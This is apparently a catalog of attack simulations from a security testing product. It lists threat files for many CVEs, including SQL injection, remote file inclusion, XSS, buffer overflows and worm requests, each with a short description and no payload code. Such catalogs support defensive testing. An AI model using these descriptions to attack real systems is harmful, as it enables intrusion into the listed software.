Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-1993
Threat Package:	Standard
Threat File Name:	acronym_mod_rfi.xml
Executive Description:	Acronym Mod Admin Acronyms.PHP SQL Injection Vulnerability
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. PhpBB Acronym Mod is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	confixx_rfi.xml
Executive Description:	Confixx <= PRO 3.3.1 Remote File Inclusion Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Confixx is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-4009
Threat Package:	Standard
Threat File Name:	qt_qtif_compress.xml
Executive Description:	Quicktime QTIF Malformed Compressor Name Field
Detailed Description:	This threat causes Apple quicktime to crash with a NULL pointer. It is possible this might be executable. QTIF images typically are served by web servers over port 80. This threat is a client side attack that comes from the virtual server.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20160913-32_Microsoft_Windows_PDF_Library_CVE-2016-3370-Information_Disclosure_IPv6.xml
Executive Description:	Microsoft Windows PDF Library CVE-2016-3370 Information Disclosure (IPv6 Version)
Detailed Description:	An information disclosure vulnerability has been reported in Microsoft Windows PDF library. The vulnerability is due to a flaw in the way that the Windows PDF Library handles objects in memory. A remote attacker could exploit this vulnerability by enticing a victim user to open a maliciously crafted PDF file. Successful exploitation would allow the attacker to gain sensitive information that may help in further attacks.
Protocol Type:	HTTP, IPv6
CVEID:	CVE-2016-3370

Threat File Name:	FSC20080812-09_Microsoft_Internet_Explorer_HTTP_Response_Double_Free_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer HTTP Response Double Free Memory Corruption
Detailed Description:	A remote code execution vulnerability exists in the way Internet Explorer handles certain HTTP responses. The vulnerability is due to an insecure design in the Internet Explorer while accessing an object that has not been correctly initialized or that has been deleted. Remote unauthenticated attackers could exploit this vulnerability by persuading a target user to visit a website hosted by a web server that sends certain malicious error responses. Successful exploitation would cause a memory corruption that may lead to arbitrary code execution in the security context of the logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2008-2256
Threat Package:	Standard
Threat File Name:	ethereal_cdma.xml
Executive Description:	Ethereal CDMA Buffer Overflow
Detailed Description:	This threat sends out a malicious packet intended to cause a buffer overflow in the Ethereal protocol dissector. This can be used to cause remote code to execute on a machine.
Protocol Type:	3GPP2
CVEID:	CVE-2005-1470
OSVDB:	14755
Threat Package:	Standard
Threat File Name:	babykatie_vsreal_xss_IPv6.xml
Executive Description:	ScriptsEZ Easy Ad-Manager Details.PHP Cross-Site Scripting Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains Javascript which is included in the returned page. Easy Ad-Manager is a web application that typically listens on port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	lussumo_vanilla_rfi_IPv6.xml
Executive Description:	Lussumo Vanilla RootDirectory Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Lussumo Vanilla is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20120508-08_Microsoft_Excel_OBJECTLINK_Record_Memory_Corruption.xml
Executive Description:	Microsoft Excel OBJECTLINK Record Memory Corruption
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Excel. The vulnerability is due to the way in which OBJECTLINK records are handled. A remote, unauthenticated attacker could exploit this vulnerability by enticing a target user to open a crafted Excel document. A successful exploitation attempt may result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2012-0142
OSVDB:	81727
Threat File Name:	TSL20131210-03_Microsoft_Windows_WinVerifyTrust_PE_Validation_Security_Bypass.xml
Executive Description:	Microsoft Windows WinVerifyTrust PE Validation Security Bypass
Detailed Description:	A security bypass vulnerability exists in Microsoft Windows. The vulnerability is due to an error in the way WinVerifyTrust validates PE files signed with Windows Authenticode. The error allows signed PE files to be modified without impacting the signature's validation. A remote attacker can leverage this vulnerability by enticing a target user to open a crafted signed PE file. In successful attack scenarios, untrusted attacker-controlled code can be copied and executed on a target machine within the context of the currently logged in user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,FTP
CVEID:	CVE-2013-3900
OSVDB:	100765
Threat File Name:	TSL20170330-10_Trend_Micro_InterScan_Web_Security_Virtual_Appliance_VerboseLog_Directory_Traversal_IPv6.xml
Executive Description:	Trend Micro InterScan Web Security Virtual Appliance VerboseLog Directory Traversal (IPv6 Version)
Detailed Description:	A directory traversal vulnerability has been reported in Trend Micro InterScan Web Security Virtual Appliance (IWSVA). The vulnerability is due to improper validation of the HTTP request parameters when processing requests to the VerboseLog servlet. A remote, authenticated attacker can exploit this vulnerability by sending a maliciously crafted HTTP request to the target server. Successful exploitation of this vulnerability can lead to sensitive information disclosure under the context of root.
Protocol Type:	HTTP,HTTPS,IPv6
Threat File Name:	FSC20070921-17_CA_ARCserve_Backup_for_Laptops_and_Desktops_LGServer_Multiple_Buffer_Overflows.xml
Executive Description:	CA ARCserve Backup for Laptops and Desktops LGServer Multiple Buffer Overflows
Detailed Description:	There exist multiple buffer overflow vulnerabilities in the way CA ARCserve Backup for Laptops and Desktops service handles incoming messages. Specifically the vulnerabilities are due to lack of boundary check when processing several different kinds of user requests. By sending specially crafted requests, an unauthenticated remote attacker can leverage these flaws to execute arbitrary code on the target host with System privileges.
Protocol Type:	TCP
CVEID:	CVE-2007-3216
Threat Package:	Standard
Threat File Name:	TSL20140416-18_Oracle_Data_Quality_DscXB_onloadstatechange_Untrusted_Pointer_Dereference_IPv6.xml

Executive Description:	Oracle Data Quality DscXB onloadstatechange Untrusted Pointer Dereference(IPv6 Version)
Detailed Description:	A remote code execution vulnerability exists in Oracle Data Profiling and Data Quality for Data Integrator. The vulnerability is due to dereferencing an arbitrary pointer within the TSSl2.DscXB.XB ActiveX control. A remote attacker can exploit this vulnerability by enticing a user to open a malicious web page. Successful exploitation could result in arbitrary code execution in the context of the currently logged on user.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2014-2417
OSVDB:	105820
Threat File Name:	TSL20160712-23_Microsoft_Edge_ArrayBuffer.transfer_Information_Disclosure_IPv6.xml
Executive Description:	Microsoft Edge ArrayBuffer.transfer Information Disclosure (IPv6)
Detailed Description:	An information disclosure vulnerability exists in Microsoft Edge. The vulnerability is due to implementation flaws in the ArrayBuffer.transfer method where an uninitialized buffer is used. A remote attacker can exploit this vulnerability by enticing the victim to open a maliciously crafted web page. Successful exploitation would allow the attacker to read the contents of memory locations that may help in further attacks.
Protocol Type:	HTTP, IPv6
CVEID:	CVE-2016-3271
Threat File Name:	leadtools_isis_dos.xml
Executive Description:	LeadTools ISIS Control (ltisil4E.ocx v.14.5.0.44) Remote Denial of Service Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a denial of service in the LeadTools ISIS ActiveX application. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-2827
Threat Package:	Standard
Threat File Name:	ned_proxy.xml
Executive Description:	Nokia Electronic Documentation Open Proxy
Detailed Description:	This threat attempts to open another website through the Nokia Electronic Documentation server by taking advantage of an open proxy ability in the code. This is done through a specially crafted HTTP GET request.
Protocol Type:	HTTP
CVEID:	CVE-2003-0803
OSVDB:	3485
Threat Package:	Standard
Threat File Name:	iesaveBypass_IPv6.xml
Executive Description:	Save As Dialog Bypass Attempt (IPv6 Version)
Detailed Description:	This threat attempts to bypass IE's safety measure of first prompting the user if they would like to save the file specified. This is done by specifying a web page that does not exist and sending a binary payload as the 404 page. This threat represents the first exchange, presenting a webpage with an embedded IFRAME tag whose src attribute is set to a 404 page. If the user then passes the mouse of the href link provided the save dialog will appear. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-1331
OSVDB:	11918
Threat Package:	Standard
Threat File Name:	TSL20170307-08_Trend_Micro_SafeSync_for_Enterprise_restartService_Command_Injection.xml
Executive Description:	Trend Micro SafeSync for Enterprise restartService Command Injection
Detailed Description:	A command injection vulnerability exists in Trend Micro's SafeSync for Enterprise. The vulnerability is due to insufficient validation of the user-supplied parameter sent to restartService end point. A remote, authenticated attacker could exploit this vulnerability by sending a crafted input to the vulnerable system. Successful exploitation could lead to arbitrary command execution under the security context of the root.
Protocol Type:	HTTPS
Threat File Name:	FSC20080318-17_Multiple_Vendor_CUPS_Administration_Interface_CGI_Heap_Overflow.xml
Executive Description:	Multiple Vendor CUPS Administration Interface CGI Heap Overflow
Detailed Description:	A heap buffer overflow vulnerability exists in Apple's Common Unix Printing System (CUPS) distributed by multiple vendors. The vulnerability is due to a boundary error in handling of incoming CGI requests and may be exploited by remote attackers to compromise a vulnerable system or cause denial of service. In an attack case where code injection is not successful, the affected CGI application will terminate abnormally. In a more sophisticated attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the affected service, with the privileges of the printer user, normally lp.
Protocol Type:	HTTP
CVEID:	CVE-2008-0047
Threat Package:	Standard
Threat File Name:	TSL20140603-15_Rocket_Servergraph_Admin_Center_fileRequestor_run_and_runClear_Command_Executions.xml
Executive Description:	Rocket Servergraph Admin Center fileRequestor run and runClear Command Executions
Detailed Description:	Multiple vulnerabilities exist in Rocket Servergraph, an interface for monitoring backup solutions such as IBM Tivoli Storage Manager, Symantec NetBackup etc. These vulnerabilities are due to input validation errors when handling requests to the URIs fileRequestor. A remote unauthenticated attacker can exploit these vulnerabilities to achieve arbitrary command execution under the context of the SYSTEM user.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2014-3914
OSVDB:	107679
Threat File Name:	emptyUDP_IPv6.xml
Executive Description:	Empty UDP SNMP Packet (IPv6 Version)
Detailed Description:	This threat sends an empty UDP packet at an SNMP agent. This has been proven to cause some types of Cisco equipment to fail when the SNMP agent was disabled. (IPv6 Version)

Protocol Type:	SNMP/IPv6
CVEID:	CVE-2001-0566
Threat Package:	Standard
Threat File Name:	FSC20101012-45_Microsoft_Internet_Explorer_and_SharePoint_toStaticHTML_Information_Disclosure.xml
Executive Description:	Microsoft Internet Explorer and SharePoint toStaticHTML Information Disclosure
Detailed Description:	An information disclosure vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to insufficient input validation by the "toStaticHTML" API. Remote attackers can exploit this vulnerability by enticing the target user to view a Web page that uses this API. In a successful attack, a remote attacker can leverage this vulnerability to execute script in the context of a target's web browser.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2010-3243
Threat Package:	Standard
Threat File Name:	TSL20160428-06_Adobe_Flash_Player_copyPixels_Integer_Overflow.xml
Executive Description:	Adobe Flash Player copyPixels Integer Overflow
Detailed Description:	A heap buffer overflow exists in Adobe Flash Player. The vulnerability is due to an integer overflow when calculating a size in copyPixels(). A remote attacker can exploit this vulnerability by enticing a target user to open a crafted file. A successful attack could result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	HTTP
CVEID:	CVE-2016-1010
Threat File Name:	FSC20101012-30_Microsoft_Office_Excel_Formula_Record_Code_Execution_IPv6.xml
Executive Description:	Microsoft Office Excel Formula Record Code Execution (IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Microsoft Office Excel. The vulnerability is due to an error while processing <italic>ptg</italic> tokens within <italic>Formula</italic> records in Excel files. This vulnerability can be exploited by enticing a user to open a maliciously crafted Excel file. Successful exploitation will result in the execution arbitrary code in the context of the logged in user, unsuccessful exploitation may cause the program to terminate abnormally.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2010-3235
Threat Package:	Standard
Threat File Name:	dlink_bypassAuth.xml
Executive Description:	D-Link DSL Router Authentication Bypass
Detailed Description:	This threat bypasses the authentication mechanisms put in place by D-Link DSL routers. This is performed by requesting a file on the system which can place the attackers IP into an allowed list, requiring no authentication. From here the user can alter the router's configuration.
Protocol Type:	HTTP
CVEID:	CVE-2005-1680
OSVDB:	16691
Threat Package:	Standard
Threat File Name:	php_phpinfo_xss_IPv6.xml
Executive Description:	PHP 4.4.3 - 4.4.6 phpinfo() Remote Cross-Site Scripting Variant Vulnerability (IPv6 Version)
Detailed Description:	This threat attempts to cause a cross site scripting condition through the phpinfo() function call. By exploiting this XSS vulnerability an attacker can steal session and cookie authentication details. PHP is a web application and programming language, it is used typically web servers listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-1287
Threat Package:	Standard
Threat File Name:	TSL20120404-07_Cisco_WebEx_Recording_Format_Player_atas32_dll_0xBB_Subrecords_Integer_Overflow_IPv6.xml
Executive Description:	Cisco WebEx Recording Format Player atas32.dll 0xBB Subrecords Integer Overflow
Detailed Description:	A code execution vulnerability exists in Cisco WebEx Recording Format (WRF) Player. This vulnerability is due to an integer overflow leading to a heap buffer overflow when the WRF player handles WRF files. A remote, unauthenticated attacker can leverage this vulnerability by crafting a WRF file and enticing a target user to view the malicious file. Successful exploitation would result in execution of arbitrary code on the target host in the context of the application.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2012-1337
OSVDB:	81106
Threat File Name:	FSC20070914-10_Microsoft_Windows_MFC_Library_FileFind_Class_Heap_Overflow_IPv6.xml
Executive Description:	Microsoft Windows MFC Library FileFind Class Heap Overflow (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in the Microsoft Windows MFC shared library. The flaw resides in the FileFind Class. It could be exposed remotely via applications that use the FileFind class and pass user provided data to the affected function. Specifically, an attack vector is known through an ActiveX control provided by HP All-in-One and HP Photo & Imaging Gallery products. By persuading a target user to visit a malicious web site, an attacker can execute arbitrary code on the client side with the privileges of the currently logged on user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-4916
Threat Package:	Standard
Threat File Name:	FSC20040927-01_Macromedia_JRun_4_x_Server_File_Disclosure_Vulnerability.xml
Executive Description:	Macromedia JRun 4.x Server File Disclosure Vulnerability
Detailed Description:	There is a vulnerability in the way Macromedia JRun server processes URLs. A specially crafted request for a file can bypass access restrictions on JRun. This can result in the source of the requested script file to be served rather than the intended script output. This vulnerability may be leveraged to reveal sensitive information such as account names, passwords, paths to internal resources, and so on.
Protocol Type:	HTTP

CVEID:	CVE-2004-0928
Threat Package:	Standard
Threat File Name:	dbguestbook_rfi_IPv6.xml
Executive Description:	DBGuestbook 1.1 (dbs_base_path) Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. DBGuestbook is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	linkedin_toolbar_activex_bof.xml
Executive Description:	LinkedIn Toolbar ActiveX ControlRemote Buffer Overflow Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the LinkedIn Toolbar ActiveX application, resulting in the execution arbitrary code. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-3955
Threat Package:	Standard
Threat File Name:	TSL20170509-26_Microsoft_Windows_SMB_Server_SMBv1_Information_Disclosure_IPv6.xml
Executive Description:	Microsoft Windows SMB Server SMBv1 Information Disclosure (IPv6 Version)
Detailed Description:	An information disclosure vulnerability has been reported in the SMB Server component of Microsoft Windows. The vulnerability is due to improper handling of SMBv1 requests. A remote, unauthenticated attacker could exploit the vulnerability by sending a crafted request to a target SMB server. Successful exploitation could result in the disclosure of information which may be used to facilitate further attacks.
Protocol Type:	SMB/CIFS, IPv6
CVEID:	CVE-2017-0271
Threat File Name:	lupper20.xml
Executive Description:	Lupper Worm 20
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes.
Protocol Type:	HTTP
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard
Threat File Name:	TSL20110614-15_Microsoft_Office_Excel_BIFF_Out-of-Bounds_Access_IPv6.xml
Executive Description:	Microsoft Office Excel BIFF Out-of-Bounds Access(IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Microsoft Office Excel. The vulnerability is due to out-of-bounds array access leading to memory corruption while handling specially crafted Excel files.. Remote attackers can exploit this vulnerability by enticing target users to open a malicious Excel file, potentially causing arbitrary code to be injected and executed in the security context of the currently logged on user. In an attack scenario where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not successful, the vulnerable application may terminate abnormally.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
Threat File Name:	qt_qtif_compress_IPv6.xml
Executive Description:	Quicktime QTIF Malformed Compressor Name Field (IPv6 Version)
Detailed Description:	This threat causes Apple quicktime to crash with a NULL pointer. It is possible this might be executable. QTIF images typically are served by web servers over port 80. This threat is a client side attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	mambo_serverstat_rfi_IPv6.xml
Executive Description:	Mambo Serverstat Component Install.Serverstat.PHP Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Mambo is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20040716-01_mod_ssl_-_mod_proxy_Hook_Functions_Format_String_Vulnerability_IPv6.xml
Executive Description:	mod_ssl - mod_proxy Hook Functions Format String Vulnerability (IPv6 Version)
Detailed Description:	A vulnerability exists in , a module for Apache 1.3.x that is used for handling SSL connections. The module contains a format string vulnerability that is exercised when is used within an Apache instance operating as an HTTP/HTTPS proxy using the mod_proxy module. A malicious attacker may use this vulnerability to trigger a buffer overflow by accessing the Apache proxy with a specially crafted URI. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-0700
Threat Package:	Standard
Threat File Name:	TSL20120724-02_Mozilla_Multiple_Products_Table_Frames_Memory_Corruption_IPv6.xml
Executive Description:	Mozilla Multiple Products Table Frames Memory Corruption(IPv6)
Detailed Description:	A code execution vulnerability exists in Mozilla Firefox, Seamonkey, and Thunderbird. The vulnerability is due to the nsTableFrame::InsertFrames method failing to handle mixed group table frames. A remote attacker could exploit this vulnerability by enticing a user to open a crafted web page. Successful exploitation could result in arbitrary code execution in the context of the currently logged in user.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMTP
CVEID:	CVE-2012-1952
OSVDB:	83999
Threat File Name:	FSC20080912-02_Trend_Micro_OfficeScan_Server_cgiRecvFile_Buffer_Overflow.xml
Executive Description:	Trend Micro OfficeScan Server cgiRecvFile Buffer Overflow

Detailed Description:	There exists a buffer overflow vulnerability in Trend Micro's OfficeScan. The flaw is due to a boundary error when handling HTTP requests. An unauthenticated remote attacker can leverage this vulnerability to inject and execute arbitrary code with System level privileges on the target system.
Protocol Type:	HTTP-ALT
CVEID:	CVE-2008-2437
Threat Package:	Standard
Threat File Name:	TSL20111021-06_Oracle_AutoVue_AutoVueX_ActiveX_Control_SaveViewStateToFile_Remote_File_Creation_IPv6.xml
Executive Description:	Oracle AutoVue AutoVueX ActiveX Control SaveViewStateToFile Remote File Creation(IPV6 VERSION)
Detailed Description:	An insecure method is exposed by Oracle AutoVue. The vulnerability exists in Oracle's AutoVue ActiveX control and is due to insufficient input validation of the parameter of "SaveViewStateToFile()" method. This can be exploited to rewrite arbitrary files in the context of the currently logged-on user. A remote attacker could possibly exploit this vulnerability to achieve arbitrary code execution by enticing a target user to open a crafted web page.
Protocol Type:	IPV6,HTTP,HTTPS
Threat File Name:	FSC20080122-22_Apache_HTTP_Server_mod_negotiation_Filename_Handling_Cross_Site_Scripting.xml
Executive Description:	Apache HTTP Server mod_negotiation Filename Handling Cross Site Scripting
Detailed Description:	There exist a cross-site scripting vulnerability in Apache mod_negotiation Module. The flaw is due to lack of validation of the user supplied input data. The flaw may be exploited by malicious users to execute arbitrary HTML code on target user's web browser, within the context of a trusted web site.
Protocol Type:	HTTP
CVEID:	CVE-2008-0455
Threat Package:	Standard
Threat File Name:	TSL20120110-06_Microsoft_Windows_Object_Packager_ClickOnce_Object_Handling_Code_Execution.xml
Executive Description:	Microsoft Windows Object Packager ClickOnce Object Handling Code Execution
Detailed Description:	A code execution vulnerability exists in Microsoft Windows. The vulnerability is due to improper handling of ClickOnce objects embedded in documents by the Object Packager. Insufficient checks on handling such objects could lead to execution of arbitrary code. A remote attacker can exploit this vulnerability by enticing a target users to open a specially crafted document file. Successful exploitation would lead to code execution in the context of the current user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2012-0013
OSVDB:	78207
Threat File Name:	evince_bof.xml
Executive Description:	Evince Buffer Overflow
Detailed Description:	This threat causes a buffer overflow in the PDF view evince, which is used with most modern linux distributions. This can lead to running code remotely from a PDF document. This type of threat could typically come from a webserver listening on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-5864
Threat Package:	Standard
Threat File Name:	mybb_showteam_sqli_IPv6.xml
Executive Description:	MyBB Forum SQL Injection Exploit (IPv6 Version)
Detailed Description:	This threat sends a number crafted HTTP queries in order to retrieve a users password hash. MyBB is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat File Name:	TSL20121009-08_Microsoft_Office_Word_RTF_File_listid_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Office Word RTF File listid Memory Corruption(IPv6_Version)
Detailed Description:	A code execution vulnerability exists in Microsoft Office Word. The vulnerability is due to a use-after-free error when parsing a crafted listid inside an RTF file. By enticing a target user to open a specially crafted RTF file, an attacker can exploit this vulnerability to execute arbitrary code in the security context of the current user.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2012-2528
OSVDB:	86055
Threat File Name:	cfmbof.xml
Executive Description:	ColdFusion GET Request Buffer Overflow
Detailed Description:	This threat causes a buffer overflow with a large GET request. Causes the ISAPI handler to fail when processing ColdFusion webpages on IIS.
Protocol Type:	HTTP
CVEID:	CVE-2002-1309
OSVDB:	6639
Threat Package:	Standard
Threat File Name:	TSL20111103-12_Microsoft_Office_VBA_Module_Stream_Use_after_Free_IPv6.xml
Executive Description:	Microsoft Office VBA Module Stream Use after Free(IPV6 VERSION)
Detailed Description:	A use-after-free vulnerability has been identified in Microsoft Excel. The vulnerability can be exploited by enticing a user to open a crafted file and perform certain actions. If exploited successfully, the vulnerability could possibly permit execution of arbitrary code in the security context of the target user. At the time of writing no patch or advisory regarding this vulnerability was available from Microsoft.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
Threat File Name:	FSC20070305-20_Apple_QuickTime_Color_Table_ID_Heap_Corruption.xml
Executive Description:	Apple QuickTime Color Table ID Heap Corruption

Detailed Description:	There exists a heap memory corruption vulnerability in Apple QuickTime product. The flaw is caused by insufficient checks when processing QTIF files. A remote attacker may exploit this vulnerability by enticing a target user to open a crafted QTIF file, thereby injecting and executing arbitrary code with the privileges of the currently logged-in user.
Protocol Type:	HTTP
CVEID:	CVE-2007-0718
Threat Package:	Standard
Threat File Name:	lupper29.xml
Executive Description:	Lupper Worm 29
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes.
Protocol Type:	HTTP
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard
Threat File Name:	mailenable_bof_IPv6.xml
Executive Description:	MailEnable Authorization Overflow (IPv6 Version)
Detailed Description:	This threat causes a buffer overflow to occur in during authentication with MailEnable. This leads to code execution and remote system compromise. Typically the MailEnable daemon listens on port 8080. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1348
OSVDB:	15913
Threat Package:	Standard
Threat File Name:	FSC20081023-02_GoodTech_SSH_Server_SFTP_Processing_Buffer_Overflow.xml
Executive Description:	GoodTech SSH Server SFTP Processing Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in GoodTech SSH Server. The vulnerability is due to a boundary error while handling SFTP commands. A remote attacker can exploit this vulnerability by sending crafted SFTP commands to the target server, potentially causing arbitrary code to be injected and executed in the security context of the service, SYSTEM by default. In a sophisticated attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the affected service, SYSTEM by default. In an attack case where code injection is not successful, the affected service can terminate abnormally and result in a denial of service condition.
Protocol Type:	SSH
CVEID:	CVE-2008-4726
Threat Package:	Standard
Threat File Name:	ms_explorer_gif_dos.xml
Executive Description:	MS Windows Explorer.exe Gif Image Denial of Service Vulnerability
Detailed Description:	This threat uses a malformed GIF image file to cause Windows Explorer to crash, effectively denying service. The GIF payload is delivered via a web server listening on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-3958
Threat Package:	Standard
Threat File Name:	TSL20161213-20_Microsoft_Internet_Explorer_and_Edge_CVE-2016-7287_Type_Confusion.xml
Executive Description:	Microsoft Internet Explorer and Edge CVE-2016-7287 Type Confusion
Detailed Description:	A type confusion vulnerability exists in Microsoft Internet Explorer and Edge. This vulnerability is due to improper objects access in memory. A remote attacker could exploit this vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP, HTTPS
CVEID:	CVE-2016-7287
Threat File Name:	TSL20160422-04_Apache_Struts_XSLTResult_File_Inclusion.xml
Executive Description:	Apache Struts XSLTResult File Inclusion
Detailed Description:	A file inclusion vulnerability exists in Apache's Struts 2 web application framework. The vulnerability is due to a failure to validate user's input when stylesheet is being passed as a request parameter. A remote unauthenticated attacker can exploit this vulnerability by sending a crafted HTTP request to a vulnerable server. A successful attack attempt could result in the execution of arbitrary code.
Protocol Type:	HTTP, HTTPS
CVEID:	CVE-2016-3082
Threat File Name:	FSC20090811-08_Microsoft_Windows_AVI_File_Header_Processing_Memory_Corruption.xml
Executive Description:	Microsoft Windows AVI File Header Processing Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Windows AVI File API. The vulnerability is due to a boundary error when parsing crafted AVI files containing a truncated AVIH chunk. An attacker could exploit this vulnerability by enticing a target user to open a malicious AVI file. Successful exploitation can lead to injection and execution of arbitrary code in the security context of the currently logged in user. The behaviour of the target host is entirely dependent on the intended function of the injected code. In an attack case where code injection is not successful, the affected application will terminate abnormally.
Protocol Type:	HTTP/HTTPS/IMAP/POP/SMB/CIFS/SMTP
CVEID:	CVE-2009-1545
Threat Package:	Standard
Threat File Name:	TSL20120831-08_GE_Proficy_Historian_KeyHelp_ActiveX_LaunchTriPane_Remote_Code_Execution_IPv6.xml
Executive Description:	GE Proficy Historian KeyHelp ActiveX LaunchTriPane Remote Code Execution(IPv6_Version)
Detailed Description:	A remote code execution vulnerability has been reported in GE Proficy Historian's KeyHelp ActiveX control. The vulnerability is due to insufficient validation of input supplied to the LaunchTriPane() function. A remote, unauthenticated attacker can exploit this vulnerability by enticing an unsuspecting user to access a malicious web site. This can lead to code execution in the context of the affected user.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2012-2516
OSVDB:	83311

Threat File Name:	TSL20170615-01_ISC_BIND_RPZ_Query_Processing_Denial_of_Service_IPv6.xml
Executive Description:	ISC BIND RPZ Query Processing Denial of Service (IPv6 Version)
Detailed Description:	A denial-of-service vulnerability has been reported in ISC BIND. The vulnerability is due to a defect that can cause the named service to enter an infinite loop while processing a query and running a specific configuration. A remote, unauthenticated attacker could exploit this vulnerability by repeatedly sending a query to an affected server running the affected configuration. Successful exploitation could lead to a denial-of-service condition.
Protocol Type:	FTP,IPv6
CVEID:	CVE-2017-3140
Threat File Name:	ms_mediaplayer_mid_dos_IPv6.xml
Executive Description:	Microsoft Windows Media MID File Denial Of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat uses a malicious midi (.mid) file that once played in a vulnerable Windows Media Player client will result in a denial of service condition. Windows Media Player is a client application that can retrieve midi files from a web server listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	viewpoint_mediaplayer_bof.xml
Executive Description:	Viewpoint Media Player for IE 3.2 (AxMetaStream.dll) Remote Stack Overflow Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in Viewpoint Media Player ActiveX application, resulting in the overwriting of arbitrary files or code execution. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	cfnetwork_dos.xml
Executive Description:	Apple CFNetwork HTTP Response Denial of Service
Detailed Description:	This threat simulates a client requesting a file, and the server replying with a maliciously constructed HTTP response. This response will cause a null pointer dereference in the CFNetwork framework, which is built in to Mac OS X, and can be used for client applications. If it is built in to the application, the null pointer dereference the threat causes will crash the application.
Protocol Type:	HTTP
CVEID:	CVE-2007-0464
Threat Package:	Standard
Threat File Name:	iis_translateUnicode_IPv6.xml
Executive Description:	IIS Source Code Disclosure Unicode (IPv6 Version)
Detailed Description:	By sending a Translate: f header element, sending a portion of the request in Unicode, and having the target website run on a FAT32 partition, it is possible to read the source code of an ASP based website. This allows a remote attacker to read files that store database access information, and examine code for storing and reading cookies. IIS is a webserver, and typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	ms07-004_IPv6.xml
Executive Description:	MS07-004 Microsoft VML Parser Attack (IPv6 Version)
